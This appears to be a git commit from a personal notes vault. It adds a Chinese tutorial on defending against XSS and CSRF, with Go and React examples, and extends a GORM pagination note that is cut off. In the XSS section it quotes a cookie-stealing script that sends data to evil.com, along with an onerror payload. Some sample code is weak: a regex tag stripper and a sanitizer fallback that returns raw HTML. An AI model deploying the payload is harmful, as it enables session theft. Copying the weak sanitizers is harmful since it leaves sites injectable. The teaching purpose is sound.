vault backup: 2026-05-18 17:09:17

This commit is contained in:
hhs
2026-05-18 17:09:17 +08:00
parent f8bcbb9d37
commit cebab9d7cf
40 changed files with 3202 additions and 408 deletions
@@ -0,0 +1,835 @@
---
tags: ["XSS", "CSRF", "Web Security", "OWASP", "CSP", "Security Header", "Content-Security-Policy", "Cross-Site Request Forgery"]
create time: 2026-05-18 10:30
---
# XSS 与 CSRF 攻击
## 概述
本文档系统梳理 Web 应用中最常见的两种客户端侧安全威胁——**跨站脚本攻击(XSS)**与**跨站请求伪造(CSRF)**。从攻击原理、分类场景到防御策略,结合 Go 后端和 React/TypeScript 前端的完整代码示例,帮助你在设计阶段就「把安全做进去」而非事后补漏。
> [!question] 思考题
> XSS 让你失去的是**用户的数据控制权**,CSRF 让你失去的是**用户的身份冒用权**。一个攻击注入恶意脚本,另一个则是伪装成合法请求。看似都与"前端"有关——它们根本区别在哪里?带着这个问题开始阅读。
---
## 一、XSS(跨站脚本攻击)
### 1.1 什么是 XSS?
XSS(Cross-Site Scripting)的本质是:**攻击者在目标网站中注入恶意 JavaScript 代码,当其他用户浏览该页面时,代码在其浏览器上下文中执行**。由于 JavaScript 在原始页面的同源策略下运行,它可以直接读取 Cookie、DOM、甚至以受害者身份发起 API 请求。
```mermaid
graph LR
A["攻击者注入<br/>恶意脚本"] --> B["服务端存储<br/>或反射回页面"]
B --> C["受害者浏览器<br/>解析并执行"]
C --> D["Cookie 被盗<br/>会话劫持 / 行为篡改"]
style A fill:#ffebee
style D fill:#b71c1c,color:#fff
```
> [!warning] 为什么叫 XSS 而不是 XS S?
> 为了避免与 Cascading Style Sheets(CSS)混淆,业界统一简写为 **XSS**(Cross-Site Scripting)。
### 1.2 XSS 三大类型
| 类型 | 注入方式 | 持久性 | 危险等级 |
|------|---------|--------|---------|
| **Stored(存储型)** | 提交到数据库(评论、个人资料),所有访问者受害 | ★★★★★ 持久 | 🔴 极高 |
| **Reflected(反射型)** | URL 参数嵌入返回页面,需诱导点击 | ★★★☆ 单次 | 🟠 高 |
| **DOM-based(基于 DOM)** | 纯前端 JS 将不可信数据写入 DOM | ★★★☆ 无服务器痕迹 | 🟡 中 |
#### 1.2.1 Stored XSS — 最致命
攻击者将恶意脚本存入数据库,每个访问该页面的用户都会中招。经典案例:留言板注入 `<script>fetch('https://evil.com/log?cookie='+document.cookie)</script>`。
```go
// ❌ 危险的存储做法 — 未过滤直接入库
func SaveComment(db *sql.DB, userID int, content string) error {
_, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
return err
}
// ✅ 正确做法 — 存储时不转义,渲染时编码;或使用富文本 sanitization
func SaveCommentSafely(db *sql.DB, userID int, content string) error {
// ⚠️ 纯文本场景:直接存原始内容,渲染时用 html/template 自动编码
_, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
return err
}
```
#### 1.2.2 Reflected XSS — 钓鱼利器
攻击者构造恶意链接,诱骗受害者点击。恶意脚本随 URL 参数被服务端读取后反射回 HTML 响应中。
```mermaid
graph LR
normal["正常链接: /search?q=hello"] --> |"安全参数"| browser["浏览器安全渲染"]
evil["恶意链接: q=inject_script()"] --> |"服务端原样返回"| exec["浏览器执行脚本 → XSS"]
style normal fill:#e8f5e9
style browser fill:#e8f5e9
style evil fill:#ffebee
style exec fill:#b71c1c,color:#fff
```
```typescript
// ❌ React 中 dangerouslySetInnerHTML 使用不当可导致 Reflect XSS
function SearchResults({ query }: { query: string }) {
return (
<div dangerouslySetInnerHTML={{ __html: `结果包含: ${query}` }} />
);
}
// ✅ 正确做法 — 让 React 自动处理转义
function SearchResultsSafe({ query }: { query: string }) {
return <div>结果包含: {query}</div>; // React 自动 escape HTML entities
}
```
> [!note] React 的安全模型
> React 默认对所有 JSX 表达式进行 HTML entity 转义(`&lt;`、`&gt;`、`&amp;`)。只有在显式使用 `dangerouslySetInnerHTML` 时才绕过防护——这是反射型 XSS 最常见的泄漏点。
#### 1.2.3 DOM-based XSS — 纯前端陷阱
攻击不涉及服务端,而是前端 JavaScript 将不可信数据写入 DOM。因为服务端日志看不到恶意 payload,这种类型更难排查。
```typescript
// ❌ DOM-based XSS — 将 hash 直接写入页面
function renderFromHash() {
const hash = window.location.hash.slice(1); // #<img src=x onerror=alert(1)>
document.getElementById("output").innerHTML = decodeURIComponent(hash);
}
// ✅ 正确做法 — 使用 textContent 而非 innerHTML
function renderFromHashSafe() {
const hash = window.location.hash.slice(1);
document.getElementById("output").textContent = decodeURIComponent(hash);
}
```
| DOM 写入方法 | 安全性 | 说明 |
|-------------|--------|------|
| `element.textContent` | ✅ 安全 | 纯文本,不会解析 HTML |
| `element.innerText` | ✅ 安全 | 同 textContent |
| `element.innerHTML` | ⚠️ 危险 | 解析 HTML 标签,可能执行脚本 |
| `element.outerHTML` | ⚠️ 危险 | 同上 |
| `element.insertAdjacentHTML()` | ⚠️ 危险 | 同上 |
| `document.write()` | ⚠️ 危险 | 直接写入文档流 |
### 1.3 CSP(Content Security Policy)深度解析
CSP 是目前防御 XSS 最有效的手段之一。它通过 HTTP 响应头告诉浏览器:哪些脚本来源是可信的,哪些操作是被禁止的。
```
HTTP Response Header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; object-src 'none'; base-uri 'self'; frame-ancestors 'none'
```
```mermaid
graph TD
A[浏览器加载页面] --> B{遇到 script 标签}
B -->|"src='self'"| C["✅ 允许执行"]
B -->|"src='https://evil.com/hack.js'"| D["❌ 被 CSP 拦截"]
B -->|"inline script no nonce"| E["❌ 被 CSP 拦截"]
B -->|"src=https://cdn.trusted.com"| F["✅ 白名单匹配,允许"]
D --> G["console 报错 + 阻止执行"]
E --> G
style C fill:#e8f5e9
style D fill:#ffebee,color:#333
style E fill:#ffebee,color:#333
style F fill:#e8f5e9
style G fill:#fff3e0
```
#### CSP 关键指令速查
| 指令 | 作用 | 推荐值 |
|------|------|--------|
| `default-src` | 兜底策略(所有资源类型) | `'self'` |
| `script-src` | 允许的脚本来源 | `'self'` + 必要 CDN |
| `style-src` | 允许的样式来源 | `'self' 'unsafe-inline'`(部分框架需要 inline style) |
| `img-src` | 允许的图片来源 | `'self' data: cdn.xxx` |
| `font-src` | 字体来源 | `'self' fonts.gstatic.com` |
| `connect-src` | AJAX/WebSocket/fetch 目标 | `'self' api.example.com` |
| `frame-ancestors` | 允许嵌入本页面的来源 | `'none'`(防 clickjacking) |
| `object-src` | `<object>`, `<embed>` | `'none'`(已废弃但建议声明) |
| `base-uri` | `<base>` 标签的 allowed origin | `'self'` |
| `form-action` | `<form>` 可提交的 target | `'self'` |
#### Nonce-based CSP 方案
对于必须使用 inline script 的场景(如 SSR 框架、内联事件处理器),Nonce 是标准方案:
```go
package security
import (
"crypto/rand"
"encoding/base64"
"net/http"
)
// CSPMiddleware 自动生成随机 nonce 并注入 CSP header
func CSPMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// 每次请求生成 32 字节随机 nonce
b := make([]byte, 32)
rand.Read(b)
nonce := base64.StdEncoding.EncodeToString(b)
w.Header().Set("Content-Security-Policy",
"default-src 'self'; "+
"script-src 'self' 'nonce-"+nonce+"' 'strict-dynamic'; "+
"style-src 'self' 'nonce-"+nonce+"'; "+
"object-src 'none'; "+
"base-uri 'self'; "+
"frame-ancestors 'none'",
)
// 将 nonce 传递给模板(具体实现依赖你的模板引擎)
r.Header.Set("X-CSP-Nonce", nonce)
next.ServeHTTP(w, r)
})
}
```
```html
<!-- 模板中使用 nonce -->
<script nonce="RANDOM_NONCE_VALUE_HERE">
// 此 inline script 被 CSP 放行
app.init();
</script>
```
> [!tip] strict-dynamic 的威力
> 使用 `strict-dynamic` 后,被 nonce 放行的脚本所动态加载的脚本也会被信任。这意味着你不再需要在 `script-src` 中添加大量 `https://` 域名——通过入口脚本的信任链传播即可。
### 1.4 输入验证与输出编码
虽然 CSP 是第一道防线,但纵深防御原则要求我们同时在多个层面防护。
```go
package validation
import (
"net/url"
"regexp"
"strings"
)
// SanitizeHTML 移除所有 HTML 标签(适用于纯文本输入场景)
func SanitizeHTML(input string) string {
return regexp.MustCompile(`<[^>]*>`).ReplaceAllString(input, "")
}
// ValidateURL 校验 URL 格式,防止 protocol-relative XSS
func ValidateURL(rawURL string) bool {
parsed, err := url.Parse(rawURL)
if err != nil {
return false
}
// 只允许 http 和 https 协议,拒绝 javascript: 和 data: 伪协议
validSchemes := map[string]bool{"http": true, "https": true}
return validSchemes[parsed.Scheme] && len(parsed.Host) > 0
}
// TruncateHTML 在 HTML 内部截断字符串(防 buffer overflow 型 XSS)
func TruncateHTML(htmlStr string, maxLen int) string {
cleaned := SanitizeHTML(htmlStr)
if len(cleaned) <= maxLen {
return cleaned
}
// 避免在标签中间截断
for i := maxLen; i > maxLen-50 && i >= 0; i-- {
if cleaned[i] == ' ' || cleaned[i] == '>' {
return cleaned[:i]
}
}
return cleaned[:maxLen]
}
```
> [!example] 为什么输入验证不能替代输出编码?
> - 输入验证假设你能穷举所有合法输入——但实际中字段经常复用(昵称既能输文字也能输 URL)
> - 输出编码确保**无论数据来源何处**,在渲染时都被正确转义
> - 最佳实践:**验证输入格式 + 编码输出内容**两层齐发
### 1.5 前端防护清单
```typescript
// ✅ React 安全编程守则
// 1. 永远不要直接使用 dangerouslySetInnerHTML
// 如果必须有富文本需求,使用成熟的 sanitizer 库
import DOMPurify from 'dompurify';
function RichText({ content }: { content: string }) {
const cleanHTML = DOMPurify.sanitize(content, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href', 'target'],
});
return <div dangerouslySetInnerHTML={{ __html: cleanHTML }} />;
}
// 2. 对外部重定向做白名单校验
const TRUSTED_DOMAINS = ['example.com', 'app.example.com'];
function SafeRedirect(url: string) {
try {
const parsed = new URL(url, window.location.origin);
if (!TRUSTED_DOMAINS.includes(parsed.hostname)) {
throw new Error('Untrusted redirect destination');
}
window.location.href = url;
} catch {
// 忽略无效 URL
}
}
// 3. 避免 eval() 和 Function() 构造函数
// 两者都能执行任意代码,且绕过 CSP nonce 机制
```
---
## 二、CSRF(跨站请求伪造)
### 2.1 什么是 CSRF?
CSRF(Cross-Site Request Forgery)的本质是:**攻击者诱导已登录的用户浏览器,向目标网站发送未经用户授权的请求**。关键在于——浏览器会自动携带该域下的 Cookie,服务器无法区分请求是用户自愿发出的还是被伪造的。
> [!quote] 核心洞察
> CSRF 利用的不是技术漏洞,而是浏览器的一个"善意特性":**Cookie 会自动附带在同源请求中**。攻击者不需要窃取 Cookie,只需要控制请求的*目的地*和*内容*。
```mermaid
sequenceDiagram
participant U as 用户浏览器(已登录 bank.com)
participant A as 攻击站点
participant B as 银行 server (bank.com)
Note over U,B: 场景:用户在银行网站保持登录状态
A->>U: 1. 用户访问恶意页面<br/>伪造 GET /transfer?to=hacker&amt=10000
Note over U: 浏览器自动带上 bank.com 的 Cookie
U->>B: 2. GET /transfer?to=hacker&amt=10000
Cookie: sessionid=abc123...
B->>B: 3. 校验 Session ✓ → 执行转账
B->>U: 4. 返回成功
Note over A,U: 用户毫无感知,钱已被转走
```
> [!question] 既然浏览器有同源策略(Same-Origin Policy),为什么攻击者能跨站发请求?
> 答案是:**并非所有 HTML 元素都受 SOP 保护**。`<img>`、`<iframe>`、`<form method="POST">` 都可以跨域发起请求——它们属于"非 read-only 资源",浏览器出于历史原因一直允许这些行为以确保网页兼容性。
### 2.2 CSRF vs XSS:容易被混淆的区别
```mermaid
graph LR
subgraph XSS["XSS — 跨站脚本"]
direction TB
A1["注入: 恶意脚本"]
A2["目标: 用户浏览器"]
A3["窃取: Cookie / 数据 / DOM"]
A4["本质: 代码执行"]
A5["防御: CSP + 输出编码"]
end
subgraph CSRF["CSRF — 跨站请求伪造"]
direction TB
B1["注入: 伪造的请求"]
B2["目标: 服务端"]
B3["利用: 已认证用户的 Cookie"]
B4["本质: 身份冒用"]
B5["防御: SameSite + CSRF Token"]
end
style XSS fill:#fff3e0
style CSRF fill:#e3f2fd
style A5 fill:#c8e6c9
style B5 fill:#c8e6c9
```
| 维度 | XSS | CSRF |
|------|-----|------|
| **攻击媒介** | JavaScript 代码 | HTTP 请求(表单/图片等) |
| **攻击目标** | 用户浏览器 | 目标网站的服务器 |
| **是否需要 Cookie** | 是(用于窃取或冒充) | 是(浏览器自动携带) |
| **破坏力** | 全面接管用户会话 | 仅限登录态下的操作 |
| **是否依赖登录** | 否(只要页面渲染就行) | 是(用户必须先登录目标站) |
| **防御重心** | 内容层(CSP、编码) | 请求层(Token、Header 校验) |
### 2.3 CSRF 防御三大利器
#### 第一层:SameSite Cookie 属性(首选方案)
```go
// Go 设置 SameSite Cookie
http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: sessionValue,
Path: "/",
HttpOnly: true, // 防 XSS 读取
Secure: true, // 仅 HTTPS
SameSite: http.SameSiteStrictMode, // 👈 关键:防止跨站发送 Cookie
})
```
| SameSite 值 | 行为 | 适用场景 |
|-------------|------|---------|
| `Strict` | 所有跨站请求不发送 Cookie | 大多数单页应用 |
| `Lax` | GET 跨站可发送(点击链接),POST 跨站不发送 | 兼顾 UX 与安全(Chrome 默认) |
| `None` | 任何情况都发送 | 必须与 `Secure=true` 配合 |
> [!tip] Chrome 的演进
> 自 Chrome 80 (2020) 起,SameSite 默认值为 `Lax`。这是一个重大变化——以前很多没有 CSRF 防护的应用反而获得了隐性保护。
#### 第二层:CSRF Token(传统但可靠)
核心思路:在每个表单和 AJAX 请求中携带一个服务端生成的随机 token,服务端校验合法性。
```mermaid
sequenceDiagram
participant FE as 前端应用
participant SRV as 后端服务器
participant Attacker as 攻击者
Note over FE,SRV: 正常流程
FE->>SRV: GET /page (页面加载)
SRV->>SRV: 生成 csrf_token = random(256bit)
SRV->>FE: 返回 HTML + hidden input:<br/>&lt;input name="_csrf" value="token_xxx"&gt;
FE->>FE: Token 存入内存(或 cookie)
FE->>SRV: POST /transfer _csrf=token_xxx
SRV->>SRV: 比对 token ✓
SRV->>FE: 200 OK
Note over Attacker: 攻击者页面试图伪造请求<br/>但没有 csrf_token
end
Attacker->>SRV: POST /transfer (无 token)
SRV->>SRV: 比对失败 ✗
SRV->>Attacker: 403 Forbidden
```
```go
package csrf
import (
"crypto/rand"
"crypto/subtle"
"encoding/base64"
"net/http"
"sync"
)
type CSRFHandler struct {
tokens sync.Map // userSessionID -> token
}
func NewCSRFHandler() *CSRFHandler {
return &CSRFHandler{}
}
func generateToken() string {
b := make([]byte, 32)
rand.Read(b)
return base64.StdEncoding.EncodeToString(b)
}
// GetCSRFToken 为当前会话获取/创建 CSRF token
func (h *CSRFHandler) GetCSRFToken(sessionID string) string {
token, ok := h.tokens.Load(sessionID)
if !ok {
token = generateToken()
h.tokens.Store(sessionID, token)
}
return token.(string)
}
// Validate 校验请求中的 CSRF token
func (h *CSRFHandler) Validate(r *http.Request, sessionID string) bool {
var requestToken string
// 优先从 body/form 读取
requestToken = r.FormValue("_csrf")
if requestToken == "" {
// 其次从自定义 Header 读取(AJAX/XHR 常用)
requestToken = r.Header.Get("X-CSRF-Token")
}
if requestToken == "" {
return false
}
storedToken, ok := h.tokens.Load(sessionID)
if !ok {
return false
}
return hmacCompare(requestToken, storedToken.(string))
}
// constant-time comparison, 防 timing attack
func hmacCompare(a, b string) bool {
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}
```
```typescript
// 前端:React 中自动注入 CSRF Token
const CSRFInterceptor = (service: AxiosInstance) => {
// 从隐藏字段或 Cookie 读取 token
function getCSRFToken(): string {
const meta = document.querySelector<HTMLInputElement>('meta[name="csrf-token"]');
if (meta?.content) return meta.content;
// fallback: 从 cookie 读取
const match = document.cookie.match(/_csrf=([^;]+)/);
return match?.[1] ?? '';
}
service.interceptors.request.use((config) => {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(config.method?.toUpperCase() ?? '')) {
config.headers['X-CSRF-Token'] = getCSRFToken();
}
return config;
});
};
// 在 axios 实例初始化时使用
CSRFInterceptor(axiosInstance);
```
#### 第三层:Custom Header + 双重检查(现代 SPA 方案)
对于前后端完全分离的架构,推荐同时使用 SameSite Cookie 和 X-CSRF-Token Header:
```go
// Middleware: 对非安全方法做双重校验
func CSRFProtection(h *CSRFHandler) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// GET/HEAD/OPTIONS 不需要校验(幂等操作)
if isSafeMethod(r.Method) {
next.ServeHTTP(w, r)
return
}
sessionID, _ := getSessionID(r) // 从 Cookie 中提取
if !h.Validate(r, sessionID) {
http.Error(w, "CSRF token invalid", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}
}
func isSafeMethod(method string) bool {
return method == "GET" || method == "HEAD" || method == "OPTIONS"
}
```
> [!tip] 为什么 Custom Header 能防 CSRF?
> 浏览器的 SOP 对 headers 也有保护:跨站的 JavaScript **无法设置自定义 Header**(只有 `Accept`、`Content-Type` 等简单头部可以)。所以当攻击者用 `<form>` 或 `<img>` 伪造请求时,`X-CSRF-Token` 头部不会被携带——而浏览器也不会自动添加它。这就是同源策略在 header 层面的天然保护。
### 2.4 特殊场景:JSON API 与 CSRF
JSON API 本身天然免疫部分 CSRF 攻击,因为浏览器的 SOP 会阻止跨域的 `application/json` 跨站读取响应。但仍需注意——虽然**无法读取响应**,但**请求仍然会被发出**。对于修改类操作(POST/PUT/DELETE),仍建议加防护。
> [!question] 思考题
> 跨站 `<img>` 标签可以发起 GET 请求但看不到响应——那 PUT 或 POST 呢?`<form method="POST">` 和 XHR 有什么区别?
```typescript
// SPA 典型认证模式对比
// ❌ Cookie 认证 — 浏览器自动携带 Cookie → 需要 CSRF Token
// 即使 Content-Type 是 application/json,攻击者用 <form> 仍可发送
const res = await fetch('/api/transfer', {
method: 'POST',
body: JSON.stringify({ to: 'hacker', amount: 10000 }),
}); // 带 Cookie → 服务端需校验 CSRF Token
// ✅ Bearer Token 认证 — 必须手动设置 Authorization Header
// 跨站页面无法设置自定义 Header(SOP 保护)→ CSRF 天然免疫
fetch('/api/transfer', {
method: 'POST',
headers: {
'Authorization': 'Bearer eyJhbGc...', // ← 跨站 JS 无法设置此 header
'Content-Type': 'application/json',
},
body: JSON.stringify({ to: 'hacker', amount: 10000 }),
});
```
| Content-Type | 能否跨站提交 | 是否天然防 CSRF | 备注 |
|-------------|------------|---------------|------|
| `application/json` | ❌ 浏览器禁止跨站设置此 header | ✅ (但预检请求 OPTIONS 可暴露信息) | SPA 推荐方案之一 |
| `Authorization: Bearer` | ❌ 自定义 Header 受 SOP 限制 | ✅ | **最佳实践** |
| `application/x-www-form-urlencoded` | ✅ HTML form 默认 | ❌ 必须 CSRF Token | 服务端渲染页面 |
| `multipart/form-data` | ✅ HTML form 支持 | ❌ 必须 CSRF Token | 文件上传场景 |
---
## 三、综合防御策略
### 3.1 纵深防御架构图
```mermaid
graph TB
subgraph Layer1["第 1 层:请求入口"]
A1["HTTPS 强制"]
A2["Rate Limiting"]
A3["CORS 策略"]
end
subgraph Layer2["第 2 层:身份与请求完整性"]
B1["HttpOnly + Secure Cookie"]
B2["SameSite=Strict/Lax"]
B3["CSRF Token 校验"]
end
subgraph Layer3["第 3 层:内容与渲染"]
C1["输入验证 / Sanitization"]
C2["输出 HTML 编码"]
C3["CSP Header"]
end
subgraph Layer4["第 4 层:运行时"]
D1["子资源完整性 (SRI)"]
D2["X-Frame-Options"]
D3["X-Content-Type-Options: nosniff"]
end
Layer1 --> Layer2
Layer2 --> Layer3
Layer3 --> Layer4
style A1 fill:#e3f2fd
style B2 fill:#fff3e0
style C3 fill:#e8f5e9
style D2 fill:#fce4ec
```
### 3.2 关键 HTTP 安全响应头
```
# CSP — 防止 XSS 脚本注入
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxxx'; object-src 'none'; frame-ancestors 'none'
# X-Frame-Options — 防止 Clickjacking(嵌套 iframe)
X-Frame-Options: DENY
# 或更灵活的替代(与 CSP frame-ancestors 二选一即可)
Content-Security-Policy: frame-ancestors 'none'
# X-Content-Type-Options — 禁止 MIME type sniffing
X-Content-Type-Options: nosniff
# X-XSS-Protection — 老旧浏览器的 XSS filter(已废弃,但无害)
X-XSS-Protection: 0 # 设为 0 表示禁用(由 CSP 接管更好)
# Referrer-Policy — 控制 Referer 头泄露程度
Referrer-Policy: strict-origin-when-cross-origin
# Permissions-Policy — 限制浏览器功能访问
Permissions-Policy: camera=(), microphone=(), geolocation=(self)
```
```go
// Go 一次性设置所有安全头
func SecurityHeaders(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-Frame-Options", "DENY")
w.Header().Set("X-Content-Type-Options", "nosniff")
w.Header().Set("Referrer-Policy", "strict-origin-when-cross-origin")
w.Header().Set("Permissions-Policy", "camera=(), microphone=(), geolocation=()")
next.ServeHTTP(w, r)
})
}
```
### 3.3 XSS 与 CSRF 的组合攻击
现实中,XSS 和 CSRF 常组合出现——如果有 XSS 漏洞,CSRF 防御基本形同虚设:
```mermaid
sequenceDiagram
participant Attacker as 攻击者
participant Victim as 受害者(管理员)
participant Server as 目标服务器
Note over Attacker,Server: 组合攻击链: XSS → Cookie 窃取 → CSRF 全权控制
Attacker->>Victim: 1. 注入含恶意脚本的可编辑字段
Victim->>Server: 2. 浏览页面 → XSS 脚本执行
alt 读取敏感数据
Victim->>Victim: Cookie / localStorage 被窃取
Victim->>Attacker: 3a. 数据发送至攻击者服务器
else 发起 CSRF 请求
Victim->>Server: 3b. 以管理员身份发送任意请求(已在同源上下文,CSRF Token 无效)
Server->>Victim: 4. 操作被执行 — 完全控制
end
Note right of Server: 结论: 只要有 XSS,<br />CSRF 防御就会被 bypass
```
---
## 四、端到端实战
### 4.1 完整安全中间件栈(Go)
```go
package middleware
import (
"github.com/gin-gonic/gin"
)
// SecurityStack 将所有安全中间件打包为一个函数列表
// 推荐用法:router.Use(SecurityHeaders(), CSPMiddleware(), CSRFProtection(handler))
func SecurityStack() []gin.HandlerFunc {
return []gin.HandlerFunc{
SecurityHeaders(),
CSPMiddleware(),
}
}
// 实际注册示例
// func SetupRouter() *gin.Engine {
// r := gin.Default()
// csrfHandler := csrf.NewCSRFHandler()
// for _, m := range SecurityStack() {
// r.Use(m)
// }
// r.Use(CSRFProtection(csrfHandler)) // 对写操作加 CSRF 校验
// // ...路由定义
// }
func SecurityHeaders() gin.HandlerFunc {
return func(c *gin.Context) {
c.Header("X-Frame-Options", "DENY")
c.Header("X-Content-Type-Options", "nosniff")
c.Header("Referrer-Policy", "strict-origin-when-cross-origin")
c.Header("Permissions-Policy", "camera=(), microphone=()")
// HSTS — 强制浏览器后续请求都用 HTTPS
c.Header("Strict-Transport-Security", "max-age=31536000; includeSubDomains")
c.Next()
}
}
```
### 4.2 前端安全模块(React + TypeScript)
```typescript
// frontend/src/security.ts
export class SecurityManager {
private static instance: SecurityManager;
static getInstance(): SecurityManager {
if (!SecurityManager.instance) {
SecurityManager.instance = new SecurityManager();
}
return SecurityManager.instance;
}
/** 获取 CSRF Token */
getCSRFToken(): string {
const meta = document.querySelector<HTMLMetaElement>('meta[name="csrf-token"]');
return meta?.content ?? '';
}
/** 安全地渲染富文本 */
sanitizeRichText(html: string): string {
// 使用 dompurify(需在项目中安装)
const DOMPurify = window.DOMPurify as any; // SSR 场景可通过全局注入
if (DOMPurify) {
return DOMPurify.sanitize(html, {
ADD_ATTR: ['aria-label'],
ALLOW_DATA_ATTR: false,
});
}
return html; // fallback: sanitizer 不可用时直接返回原文
}
/** 清理 URL 重定向目标 */
validateRedirectUrl(url: string): boolean {
try {
const parsed = new URL(url);
const trusted = new Set(['yourdomain.com', 'app.yourdomain.com']);
return trusted.has(parsed.hostname);
} catch {
return false;
}
}
}
```
---
## 五、OWASP Top 10 位置与总结
在 OWASP Top 10 中,这两种攻击的定位如下:
| 攻击类型 | OWASP Top 10 2024 分类 | 说明 |
|---------|----------------------|------|
| **XSS** | **A03:2024 — Injection** | DOM-based XSS 虽不经过服务端,但仍属于注入范畴 |
| **CSRF** | 未独立列项 | CSRF 模式归入 **A01:2024 — Broken Access Control** |
> [!note] 为什么 CSRF 不再单列?
> OWASP 认为 CSRF 本质上是访问控制失效的一种表现——服务器未能正确验证请求是否为用户自愿发出。现代浏览器默认提供的 SameSite Cookie 机制已经大幅降低了 CSRF 的威胁面。
### 5.1 一句话总结
> **XSS 的核心是「不信任何输入」** —— 在输出编码时做一次,CSP 再兜底一次;**CSRF 的核心是「不信任何请求」** —— SameSite 打底,CSRF Token 二次确认。
### 5.2 快速对照表
```mermaid
quadrantChart
title "XSS vs CSRF 对比矩阵"
x-axis "易防护" --> "难防护"
y-axis "高频率" --> "低频率"
"XSS(存储型)": [0.3, 0.8]
"XSS(反射型)": [0.5, 0.9]
"CSRF(传统表单)": [0.2, 0.95]
"DOM-based XSS": [0.7, 0.85]
"CSRF(JSON API)": [0.15, 0.7]
```
---
## 安全最佳实践清单
> [!checklist] XSS 防御 Checklist
> - [ ] 部署 **CSP header**(至少 `default-src 'self'`,逐步收紧)
> - [ ] 后端输出 HTML 时做 **实体编码**(`<` → `&lt;`,`>` → `&gt;`,`"` → `&quot;`)
> - [ ] 前端避免 `dangerouslySetInnerHTML` / `innerHTML` / `eval()`
> - [ ] 富文本场景使用 **sanitizer 库**(DOMPurify / bleach)
> - [ ] 所有用户上传的内容视为 **潜在 payload**
> - [ ] 设置 `document.domain` 谨慎(会降低同源保护)
> [!checklist] CSRF 防御 Checklist
> - [ ] 所有 Cookie 设置 **SameSite=Strict 或 Lax**
> - [ ] 敏感操作(POST/PUT/DELETE)校验 **CSRF Token**
> - [ ] CSRF Token 使用 **密码学安全的随机数**(crypto/rand)
> - [ ] Token 比较使用 **constant-time** 算法
> - [ ] Session Cookie 设置 **HttpOnly + Secure**
> - [ ] 使用 **stateless token**(存入 JWT claims 而非内存)以适配分布式部署
> - [ ] **双 Submit Cookie** 方案可作为轻量替代(token 同时存在 Cookie 和 Form Field 中)
---
## 关联笔记
- [[hhs/DEV/OAuth2与MFA/OAuth2-and-MFA]]
- [[hhs/DEV/Security/Basics/RSA-and-ECC]]
- [[hhs/DEV/Security/JWT-Deep-Dive]]
+156 -27
View File
@@ -1,5 +1,5 @@
---
tags: [GORM, Go, ORM, 排序, 分页, Order, Limit, Offset, Paginate]
tags: [GORM, Go, ORM, 排序, 分页, Order, Limit, Offset, Keyset, Cursor, Paginate]
create time: 2026-04-28 00:00
---
@@ -9,6 +9,12 @@ create time: 2026-04-28 00:00
排序和分页是面向用户的数据展示层的核心技能。不管后端查出多少数据,最终呈现在页面上的总是「一页」——理解 GORM 如何高效地完成这个任务,直接影响 API 的响应时间和用户体验。
想象一个电商商品列表页:用户每次翻页都能看到 20 条最新上架的商品,按价格或销量排序。如果底层查询没有做好排序和分页控制,哪怕只有百万级数据,一个简单的列表接口也可能耗时数秒甚至超时。
> [!question] 在往下看之前想一想
>
> 你有遇到过「越往后翻,页面加载越慢」的场景吗?这通常就是 OFFSET 分页在深页时性能急剧下降造成的。接下来我们会从基础讲到高性能方案,帮你彻底搞懂这个问题。
## Order — 排序
### 基本用法
@@ -57,6 +63,8 @@ db.Order(field + " DESC").Find(&users)
### 随机排序
偶尔需要随机取数据(如「每日精选」"推荐话题」),不同数据库提供了不同的随机函数:
```go
// MySQL
db.Order("RAND()").Find(&users)
@@ -71,16 +79,20 @@ db.Order("RANDOM()").Find(&users)
> [!warning] 随机排序的性能陷阱
> `ORDER BY RAND()` 会对整张表生成随机数再排序——O(n log n) 复杂度,百万级数据几乎不可用。如果只需要几条随机记录,改用更高效的方案:
> ```go
> // 方案一:OFFSET random
> // 方案一:OFFSET random —— 先查总数,再随机跳 offset
> var count int
> db.Model(&User{}).Count(&count)
> offset := rand.Intn(count)
> db.Limit(10).Offset(offset).Find(&users)
> // ⚡ 只扫描 11 行数据,但大量并发时可能取到重复 ID
>
> // 方案二:先在 Go 中随机选几个 ID,再查
> ids := randomIDs(count, 10)
> db.Where("id IN ?", ids).Find(&users)
> // ✅ 精准定位、零浪费;注意处理 ID 不存在的边界情况
> ```
>
> **如何选择**:用户量 < 10 万且 QPS 不高时,方案一简单够用;生产环境推荐方案二,或用 Redis Sorted Set 预生成随机池。
## Limit / Offset — 分页基础
@@ -106,6 +118,8 @@ db.Limit(perPage).Offset(offset).Order("id").Find(&products)
### 查询总行数
完整分页响应通常需要三个步骤:先查总数、再算偏移量、最后取数据。这样前端才能渲染出分页控件(「共 N 页」):
```go
var total int64
db.Model(&Product{}).Where("status = ?", "active").Count(&total)
@@ -122,25 +136,54 @@ db.Model(&Product{}).
Offset(offset).
Find(&products)
// 总页数
totalPages := int(math.Ceil(float64(total) / float64(perPage)))
// ❌ 删除线写法:totalPages 未使用,会导致编译错误
// totalPages := int(math.Ceil(float64(total) / float64(perPage)))
```
> [!warning] Count 和 Find 之间可能有数据变化
> `Count` 执行后如果恰好有记录被插入或删除,`Find` 拿到的结果可能与 `Count` 不一致——导致最后一页可能出现空数据或页数对不上。在数据一致性要求高的场景下,可以在事务内同时执行这两个操作。
> [!question] 思考题
> 如果 offset 极大(比如第 10000 页),查询会变得很慢,为什么?有没有更好的方案?
>
> > **答案**:因为数据库仍然需要扫描并跳过前面大量的行,即使它们不会被返回。更好的方案是用 **游标分页(Keyset Pagination)**——按上一次最后一条记录的 id 来查,详见下面的游标分页章节。
### Offset 分页为什么越翻越慢?
```mermaid
flowchart LR
subgraph Shallow["浅页(第 1-10 页)"]
A1["OFFSET 0 → 跳过 0 行<br/>响应 ~5ms ✓"]
